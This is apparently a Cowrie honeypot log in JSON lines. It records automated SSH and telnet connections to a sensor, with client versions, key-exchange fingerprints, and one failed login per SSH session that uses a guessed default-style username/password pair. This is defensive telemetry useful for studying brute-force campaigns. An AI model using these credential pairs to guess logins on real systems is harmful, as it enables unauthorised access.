{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:51.818391Z","src_ip":"119.28.9.170","session":"6a8301bceb57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:52.021111Z","src_ip":"119.28.9.170","session":"6a8301bceb57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"test","message":"login attempt [guest/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:52.862244Z","src_ip":"119.28.9.170","session":"6a8301bceb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:18:54.067209Z","src_ip":"119.28.9.170","session":"6a8301bceb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.88473320007324,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:08.181676Z","src_ip":"135.148.33.91","session":"cbb2cf6da25c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":50468,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bc6b1a23a67","protocol":"ssh","message":"New connection: 202.145.0.61:50468 (159.203.135.109:22) [session: 5bc6b1a23a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:31.677188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:31.682437Z","src_ip":"202.145.0.61","session":"5bc6b1a23a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:31.923706Z","src_ip":"202.145.0.61","session":"5bc6b1a23a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"test123","message":"login attempt [ec2-user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:32.928856Z","src_ip":"202.145.0.61","session":"5bc6b1a23a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:34.173443Z","src_ip":"202.145.0.61","session":"5bc6b1a23a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":50052,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d537919780b","protocol":"ssh","message":"New connection: 119.28.9.170:50052 (159.203.135.109:22) [session: 6d537919780b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:41.823792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:41.829469Z","src_ip":"119.28.9.170","session":"6d537919780b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:42.040040Z","src_ip":"119.28.9.170","session":"6d537919780b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"changeme","message":"login attempt [user2/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:42.907649Z","src_ip":"119.28.9.170","session":"6d537919780b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:19:44.124355Z","src_ip":"119.28.9.170","session":"6d537919780b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":38964,"dst_ip":"159.203.135.109","dst_port":22,"session":"131ed2b9c754","protocol":"ssh","message":"New connection: 202.145.0.61:38964 (159.203.135.109:22) [session: 131ed2b9c754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:27.817048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:27.822103Z","src_ip":"202.145.0.61","session":"131ed2b9c754","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:28.056706Z","src_ip":"202.145.0.61","session":"131ed2b9c754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gits","password":"123456","message":"login attempt [gits/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:29.026258Z","src_ip":"202.145.0.61","session":"131ed2b9c754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:30.265257Z","src_ip":"202.145.0.61","session":"131ed2b9c754","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":37990,"dst_ip":"159.203.135.109","dst_port":22,"session":"691d1851a6e3","protocol":"ssh","message":"New connection: 119.28.9.170:37990 (159.203.135.109:22) [session: 691d1851a6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:31.549101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:31.553972Z","src_ip":"119.28.9.170","session":"691d1851a6e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:31.758756Z","src_ip":"119.28.9.170","session":"691d1851a6e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwer4321","message":"login attempt [ubuntu/Qwer4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:32.625710Z","src_ip":"119.28.9.170","session":"691d1851a6e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51686,"dst_ip":"159.203.135.109","dst_port":23,"session":"c12d379e4d5c","protocol":"telnet","message":"New connection: 135.148.33.91:51686 (159.203.135.109:23) [session: c12d379e4d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:32.699574Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:20:33.833533Z","src_ip":"119.28.9.170","session":"691d1851a6e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.672680616378784,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:06.372151Z","src_ip":"135.148.33.91","session":"c12d379e4d5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":54164,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e169415b39d","protocol":"ssh","message":"New connection: 119.28.9.170:54164 (159.203.135.109:22) [session: 2e169415b39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:22.212242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:22.217048Z","src_ip":"119.28.9.170","session":"2e169415b39d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:22.423200Z","src_ip":"119.28.9.170","session":"2e169415b39d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userinex","password":"userinex","message":"login attempt [userinex/userinex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:23.279959Z","src_ip":"119.28.9.170","session":"2e169415b39d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:24.489102Z","src_ip":"119.28.9.170","session":"2e169415b39d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":55690,"dst_ip":"159.203.135.109","dst_port":22,"session":"245d4a3831d6","protocol":"ssh","message":"New connection: 202.145.0.61:55690 (159.203.135.109:22) [session: 245d4a3831d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:24.940233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:24.949199Z","src_ip":"202.145.0.61","session":"245d4a3831d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:25.190080Z","src_ip":"202.145.0.61","session":"245d4a3831d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"hadoop1234","message":"login attempt [ubuntu/hadoop1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:26.191592Z","src_ip":"202.145.0.61","session":"245d4a3831d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:21:27.435467Z","src_ip":"202.145.0.61","session":"245d4a3831d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.9.170","src_port":42108,"dst_ip":"159.203.135.109","dst_port":22,"session":"7391c8f6f087","protocol":"ssh","message":"New connection: 119.28.9.170:42108 (159.203.135.109:22) [session: 7391c8f6f087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:13.211104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:13.216418Z","src_ip":"119.28.9.170","session":"7391c8f6f087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:13.427309Z","src_ip":"119.28.9.170","session":"7391c8f6f087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"333","message":"login attempt [user/333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:14.295511Z","src_ip":"119.28.9.170","session":"7391c8f6f087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:15.509088Z","src_ip":"119.28.9.170","session":"7391c8f6f087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":20714,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3d58e44172f","protocol":"ssh","message":"New connection: 194.59.206.2:20714 (159.203.135.109:22) [session: f3d58e44172f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:15.816472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:22:15.822266Z","src_ip":"194.59.206.2","session":"f3d58e44172f","protocol":"ssh"}
